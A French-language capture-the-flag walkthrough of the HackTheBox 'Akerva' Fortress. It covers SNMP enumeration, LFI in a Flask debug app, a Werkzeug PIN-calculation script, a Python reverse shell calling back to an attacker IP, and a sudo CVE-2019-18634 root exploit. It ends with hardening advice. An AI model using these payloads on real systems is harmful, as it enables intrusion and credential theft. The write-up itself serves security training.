Akerva - Fortress HackTheBox (SNMP, Flask, LFI, Werkzeug)
Vue d'Ensemble
Akerva est un Fortress HackTheBox créé par @lydericlefebvre de la société Akerva. Ce challenge combine plusieurs vulnérabilités web et système :
- Énumération SNMP (Simple Network Management Protocol)
- Local File Inclusion (LFI)
- Bypass de PIN Werkzeug
- Escalade de privilèges via faille sudo
Environnement :
- IP :
10.13.37.11 - Hostname :
akerva.htb/Leakage - OS : Ubuntu 18.04 Linux 4.15.0-72-generic
- Objectif : 8 flags à capturer
Phase 1 : Reconnaissance
Scan Nmap TCP
└─$ nmap -Pn -sV -sC -p- -T4 -A akerva.htb
Starting Nmap 7.94SVN ( https://nmap.org ) at 2023-12-19 01:46 CET
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 0d:e4:41:fd:9f:a9:07:4d:25:b4:bd:5d:26:cc:4f:da (RSA)
| 256 f7:65:51:e0:39:37:2c:81:7f:b5:55:bd:63:9c:82:b5 (ECDSA)
|_ 256 28:61:d3:5a:b9:39:f2:5b:d7:10:5a:67:ee:81:a8:5e (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Did not follow redirect to http://10.13.37.11/
|_http-server-header: Apache/2.4.29 (Ubuntu)
5000/tcp open http Werkzeug httpd 0.16.0 (Python 2.7.15+)
|_http-server-header: Werkzeug/0.16.0 Python/2.7.15+
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
| http-auth:
| HTTP/1.0 401 UNAUTHORIZED\x0D
|_ Basic realm=Authentication Required
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Services identifiés :
- Port 22 : OpenSSH 7.6p1
- Port 80 : Apache 2.4.29 (site web principal)
- Port 5000 : Application Flask avec Werkzeug 0.16.0 (Python 2.7.15+)
Scan Nmap UDP
└─$ sudo nmap -sU -sV -T4 -A akerva.htb
PORT STATE SERVICE VERSION
161/udp open snmp SNMPv1 server; net-snmp SNMPv3 server (public)
| snmp-info:
| enterprise: net-snmp
| engineIDFormat: unknown
| engineIDData: 423f5e76cd7abe5e00000000
| snmpEngineBoots: 6
|_ snmpEngineTime: 7d16h36m35s
| snmp-sysdescr: Linux Leakage 4.15.0-72-generic #81-Ubuntu SMP Tue Nov 26 12:20:02 UTC 2019 x86_64
|_ System uptime: 7d16h36m35.67s (66459567 timeticks)
Service Info: Host: Leakage
Service critique :
- Port 161/UDP : SNMP (version 1) avec community string "public"
Configuration /etc/hosts :
10.13.37.11 akerva.htb Leakage
Phase 2 : Énumération Web - Port 80
Flag 1 : Commentaire HTML
Analyse du code source de la page web :
<!-- Hello folks! -->
<!-- This machine is powered by @lydericlefebvre from Akerva company. -->
<!-- You have to find 8 flags on this machine. Have a nice root! -->
<!-- By the way, the first flag is: AKERVA{Ikn0w_F0rgoTTEN#CoMmeNts} -->
🚩 Flag 1 : AKERVA{Ikn0w_F0rgoTTEN#CoMmeNts}
Phase 3 : Énumération SNMP
Énumération avec snmpwalk
└─$ perl /usr/share/doc/libnet-snmp-perl/examples/snmpwalk.pl -v 1 -c public 10.13.37.11
1.3.6.1.2.1.1.1.0 = OCTET STRING: Linux Leakage 4.15.0-72-generic #81-Ubuntu
1.3.6.1.2.1.1.5.0 = OCTET STRING: Leakage
1.3.6.1.2.1.1.6.0 = OCTET STRING: Sitting on the Dock of the Bay
Informations système :
- Hostname : Leakage
- OS : Ubuntu 18.04 avec kernel 4.15.0-72-generic
Découverte de Processus Suspect
En analysant les processus SNMP, on découvre un script de backup :
1.3.6.1.2.1.25.4.2.1.5.1237 = OCTET STRING: /var/www/html/scripts/backup_every_17minutes.sh AKERVA{IkN0w_SnMP@@@MIsconfigur@T!onS}
🚩 Flag 2 : AKERVA{IkN0w_SnMP@@@MIsconfigur@T!onS}
Script identifié : /var/www/html/scripts/backup_every_17minutes.sh
Flag 3 : Récupération du Script de Backup
└─$ curl -XPOST http://akerva.htb/scripts/backup_every_17minutes.sh
#!/bin/bash
#
# This script performs backups of production and development websites.
# Backups are done every 17 minutes.
#
# AKERVA{IKNoW###VeRbTamper!nG_==}
#
SAVE_DIR=/var/www/html/backups
while true
do
ARCHIVE_NAME=backup_$(date +%Y%m%d%H%M%S)
echo "Erasing old backups..."
rm -rf $SAVE_DIR/*
echo "Backuping..."
zip -r $SAVE_DIR/$ARCHIVE_NAME /var/www/html/*
echo "Done..."
sleep 1020
done
🚩 Flag 3 : AKERVA{IKNoW###VeRbTamper!nG_==}
Découverte : Des backups sont créés toutes les 17 minutes (1020 secondes) dans /var/www/html/backups/
Phase 4 : Récupération du Backup
Fuzzing des Backups
Les backups sont nommés avec la date : backup_YYYYMMDDHHMMSS.zip
Génération d'une wordlist pour les secondes/minutes :
└─$ crunch 6 6 0123456789 -o 6-digits-000000-999999.txt
Crunch will now generate the following amount of data: 7000000 bytes
crunch: 100% completed generating output
Fuzzing avec wfuzz :
└─$ wfuzz -u http://akerva.htb/backups/backup_20231219FUZZ.zip -w 6-digits-000000-999999.txt --hc 404
ID Response Lines Word Chars Payload
=====================================================================
000014650: 200 82458 808134 W 20937179 "014649"
URL du backup : http://akerva.htb/backups/backup_20231219014649.zip
└─$ wget http://akerva.htb/backups/backup_20231219014649.zip
└─$ unzip backup_20231219014649.zip
Flag 4 : Analyse du Code Source Flask
└─$ cat var/www/html/dev/space_dev.py
#!/usr/bin/python
from flask import Flask, request
from flask_httpauth import HTTPBasicAuth
from werkzeug.security import generate_password_hash, check_password_hash
app = Flask(__name__)
auth = HTTPBasicAuth()
users = {
"aas": generate_password_hash("AKERVA{1kn0w_H0w_TO_$Cr1p_T_$$$$$$$$}")
}
@auth.verify_password
def verify_password(username, password):
if username in users:
return check_password_hash(users.get(username), password)
return False
@app.route('/')
@auth.login_required
def hello_world():
return 'Hello, World!'
@app.route("/file")
@auth.login_required
def file():
filename = request.args.get('filename')
try:
with open(filename, 'r') as f:
return f.read()
except:
return 'error'
if __name__ == '__main__':
app.run(host='0.0.0.0', port='5000', debug = True)
🚩 Flag 4 : AKERVA{1kn0w_H0w_TO_$Cr1p_T_$$$$$$$$}
Découvertes critiques :
- Credentials :
aas:AKERVA{1kn0w_H0w_TO_$Cr1p_T_$$$$$$$$} - Vulnérabilité LFI : Route
/fileavec paramètrefilenamenon sécurisé - Mode debug activé : Werkzeug console accessible
Phase 5 : Exploitation LFI (Local File Inclusion)
Authentification à l'Application Flask
Création de l'en-tête Authorization :
└─$ echo -n 'aas:AKERVA{1kn0w_H0w_TO_$Cr1p_T_$$$$$$$$}' | base64
YWFzOkFLRVJWQXsxa24wd19IMHdfVE9fJENyMXBfVF8kJCQkJCQkJH0=
Lecture de /etc/passwd
└─$ curl 'http://10.13.37.11:5000/file?filename=/etc/passwd' \
-H 'Authorization: Basic YWFzOkFLRVJWQXsxa24wd19IMHdfVE9fJENyMXBfVF8kJCQkJCQkJH0='
root:x:0:0:root:/root:/bin/bash
[...]
aas:x:1000:1000:Lyderic Lefebvre:/home/aas:/bin/bash
mysql:x:109:115:MySQL Server,,,:/nonexistent:/bin/false
Utilisateur cible identifié : aas (Lyderic Lefebvre)
Flag 5 : Lecture du Flag User
└─$ curl 'http://10.13.37.11:5000/file?filename=/home/aas/flag.txt' \
-H 'Authorization: Basic YWFzOkFLRVJWQXsxa24wd19IMHdfVE9fJENyMXBfVF8kJCQkJCQkJH0='
AKERVA{IKNOW#LFi_@_}
🚩 Flag 5 : AKERVA{IKNOW#LFi_@_}
Phase 6 : Bypass du PIN Werkzeug
Console Werkzeug
L'application Flask expose une console de debug à http://10.13.37.11:5000/console protégée par un PIN.
Ressources :
Collecte des Informations Nécessaires
1. Adresse MAC de l'interface réseau :
└─$ curl 'http://10.13.37.11:5000/file?filename=/sys/class/net/ens33/address' \
-H 'Authorization: Basic YWFzOkFLRVJWQXsxa24wd19IMHdfVE9fJENyMXBfVF8kJCQkJCQkJH0='
00:50:56:b9:14:e2
Conversion en décimal :
>>> print(0x005056b914e2)
345052353762
2. Machine ID :
└─$ curl 'http://10.13.37.11:5000/file?filename=/etc/machine-id' \
-H 'Authorization: Basic YWFzOkFLRVJWQXsxa24wd19IMHdfVE9fJENyMXBfVF8kJCQkJCQkJH0='
258f132cd7e647caaf5510e3aca997c1
Génération du PIN
Script Python pour générer le PIN :
import hashlib
from itertools import chain
probably_public_bits = [
'aas',# username
'flask.app',# modname
'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python2.7/dist-packages/flask/app.pyc' # getattr(mod, '__file__', None),
]
private_bits = [
'345052353762', # str(uuid.getnode()), /sys/class/net/ens33/address
'258f132cd7e647caaf5510e3aca997c1' # get_machine_id(), /etc/machine-id
]
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
Exécution :
└─$ python exploit.py
209-825-416
PIN généré : 209-825-416
Accès Initial via Reverse Shell
Reverse shell Python exécuté dans la console Werkzeug :
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.16.4",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")
Listener :
└─$ pwncat-cs -lp 1234
[03:13:12] received connection from 10.13.37.11:57326
[03:13:13] 0.0.0.0:1234: upgrading from /bin/dash to /bin/bash
[03:13:14] 10.13.37.11:57326: registered new host w/ db
(local) pwncat$
(remote) aas@Leakage:/home/aas$
Flag 6 : Flag Caché dans le Home
(remote) aas@Leakage:/home/aas$ cat .hiddenflag.txt
AKERVA{IkNOW#=ByPassWerkZeugPinC0de!}
🚩 Flag 6 : AKERVA{IkNOW#=ByPassWerkZeugPinC0de!}
Phase 7 : Escalade de Privilèges - Root
Énumération Sudo
(remote) aas@Leakage:/home/aas$ sudo -l
[sudo] password for aas:
Vulnérabilité identifiée : Sudo vulnérable à CVE-2019-18634
└─$ searchsploit sudo
sudo 1.8.0 to 1.9.12p1 - Privilege Escalation | linux/local/51217.sh
Exploitation CVE-2019-18634
Upload de l'exploit :
(local) pwncat$ upload ./sudo-cve-2019-18634/exploit
./exploit ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100.0% • 843.5/843.5 KB
[03:31:18] uploaded 843.48KiB in 0.95 seconds
Exécution :
(remote) aas@Leakage:/tmp$ chmod +x ./exploit
(remote) aas@Leakage:/tmp$ ./exploit
[sudo] password for aas:
Pauses for audience applause, not a sausage
(remote) root@Leakage:/tmp#
Flag 7 : Root Flag
(remote) root@Leakage:/tmp$ cat /root/flag.txt
AKERVA{IkNow_Sud0_sUckS!}
🚩 Flag 7 : AKERVA{IkNow_Sud0_sUckS!}
Phase 8 : Post-Exploitation
Note Sécurisée en Base64
(remote) root@Leakage:/root$ cat secured_note.md
R09BSEdIRUVHU0FFRUhBQ0VHVUxSRVBFRUVDRU9LTUtFUkZTRVNGUkxLRVJVS1RTVlBNU1NOSFNL
UkZGQUdJQVBWRVRDTk1ETFZGSERBT0dGTEFGR1NLRVVMTVZPT1dXQ0FIQ1JGVlZOVkhWQ01TWUVM
U1BNSUhITU9EQVVLSEUK
@AKERVA_FR | @lydericlefebvre
Décodage :
(remote) root@Leakage:/root$ echo "R09BSEdIRUVHU0FFRUhBQ0VHVUxSRVBFRUVDRU9LTUtFUkZTRVNGUkxLRVJVS1RTVlBNU1NOSFNL
UkZGQUdJQVBWRVRDTk1ETFZGSERBT0dGTEFGR1NLRVVMTVZPT1dXQ0FIQ1JGVlZOVkhWQ01TWUVM
U1BNSUhITU9EQVVLSEUK" | base64 -d
GOAHGHEEGSAEEHACEGULREPEEECEOKMKERFSESFRLKERUKTSVPMSSNHSKRFFAGIAPVETCNMDLVFHDAOGFLAFGSKEULMVOOWWCAHCRFVVNVHVCMSYELSPMIHHMODAUKHE
Analyse : Cette chaîne semble être un texte chiffré ou encodé (substitution, ROT, etc.)
🚩 Flag 8 : À déchiffrer depuis secured_note.md
Résumé des 8 Flags
| # | Flag | Méthode d'Obtention |
|---|---|---|
| 1 | AKERVA{Ikn0w_F0rgoTTEN#CoMmeNts} | Commentaire HTML sur port 80 |
| 2 | AKERVA{IkN0w_SnMP@@@MIsconfigur@T!onS} | Énumération SNMP (processus) |
| 3 | AKERVA{IKNoW###VeRbTamper!nG_==} | Script backup récupéré via HTTP |
| 4 | AKERVA{1kn0w_H0w_TO_$Cr1p_T_$$$$$$$$} | Code source Flask dans backup |
| 5 | AKERVA{IKNOW#LFi_@_} | LFI pour lire /home/aas/flag.txt |
| 6 | AKERVA{IkNOW#=ByPassWerkZeugPinC0de!} | Bypass PIN Werkzeug + shell |
| 7 | AKERVA{IkNow_Sud0_sUckS!} | Escalade sudo CVE-2019-18634 |
| 8 | À déchiffrer | Note Base64 dans /root/secured_note.md |
Outils Utilisés
Reconnaissance
- nmap : Scan TCP et UDP
- curl : Interaction HTTP
- snmpwalk : Énumération SNMP
Exploitation Web
- wfuzz : Fuzzing de backups
- crunch : Génération de wordlists
- Python : Génération de PIN Werkzeug
Post-Exploitation
- pwncat-cs : Shell interactif amélioré
- searchsploit : Recherche d'exploits
Compétences Développées
- Énumération SNMP : Community strings, extraction d'informations système
- Analyse de Backups : Fuzzing temporel, récupération de sources
- Local File Inclusion (LFI) : Lecture de fichiers arbitraires
- Bypass Werkzeug PIN : Calcul de PIN via paramètres système
- Exploitation Sudo : CVE-2019-18634 (Buffer Overflow)
- Python Scripting : Génération de PIN, reverse shells
- Analyse de Code Source : Identification de vulnérabilités dans Flask
Points Clés à Retenir
SNMP
- 🔍 Community strings par défaut : "public" est souvent configuré
- 🔍 Informations sensibles : SNMP expose processus, configurations, scripts
- 🔍 MIB 1.3.6.1.2.1.25 : Contient des informations sur les processus
Flask/Werkzeug
- ⚠️ Debug mode : Ne jamais activer en production
- ⚠️ PIN Werkzeug : Calculable avec accès LFI (MAC, machine-id, username)
- ⚠️ LFI : Toujours valider les inputs utilisateur
Sécurité Linux
- ⚠️ Commentaires HTML : Ne jamais y mettre d'informations sensibles
- ⚠️ Backups exposés : Sécuriser les répertoires de backup
- ⚠️ Sudo : Maintenir à jour pour éviter CVE-2019-18634
Recommandations de Sécurité
SNMP
- 🔒 Changer community strings : Utiliser des valeurs fortes
- 🔒 SNMPv3 : Privilégier la version 3 avec authentification
- 🔒 Firewall : Limiter l'accès au port 161/UDP
Application Web
- 🔒 Mode Debug : Désactiver en production
- 🔒 Validation d'entrée : Sanitiser tous les paramètres (filename, etc.)
- 🔒 Backups : Ne pas exposer publiquement
- 🔒 Authentification : Utiliser des credentials robustes
Système
- 🔒 Sudo à jour : Patcher régulièrement
- 🔒 Permissions fichiers : Éviter les fichiers world-readable sensibles
- 🔒 Monitoring : Surveiller les accès SNMP et HTTP anormaux
Méthodologie de Résolution Recommandée
- Scan complet TCP + UDP : Ne pas négliger les protocoles UDP
- Énumération SNMP : Toujours tester "public" et "private"
- Analyse de code source : Examiner commentaires HTML et scripts
- Exploitation progressive : LFI → Collecte info → Bypass → Shell
- Énumération post-exploitation : sudo -l, SUID, cron, etc.
Références et Ressources
Documentation
CVE
Outils
Notes Importantes
⚠️ Avertissement : Ce writeup est à des fins éducatives uniquement. Les techniques présentées ne doivent être utilisées que dans des environnements autorisés (CTF, pentesting avec autorisation écrite).
💡 Conseil : Ce Fortress est excellent pour pratiquer :
- L'énumération de protocoles moins communs (SNMP)
- L'exploitation de frameworks Python (Flask/Werkzeug)
- Le chaînage de vulnérabilités (LFI → RCE)
- L'analyse de code source pour identifier des failles
Conclusion
Akerva est un Fortress complet qui enseigne :
- L'importance de l'énumération exhaustive (TCP et UDP)
- Les risques des configurations par défaut (SNMP public)
- Les dangers du mode debug en production (Werkzeug)
- Le chaînage de vulnérabilités pour obtenir un accès système complet
Ce challenge simule des failles réalistes rencontrées en environnement professionnel et développe des compétences directement applicables en pentest.
Merci à @lydericlefebvre et @AKERVA_FR pour ce challenge de qualité !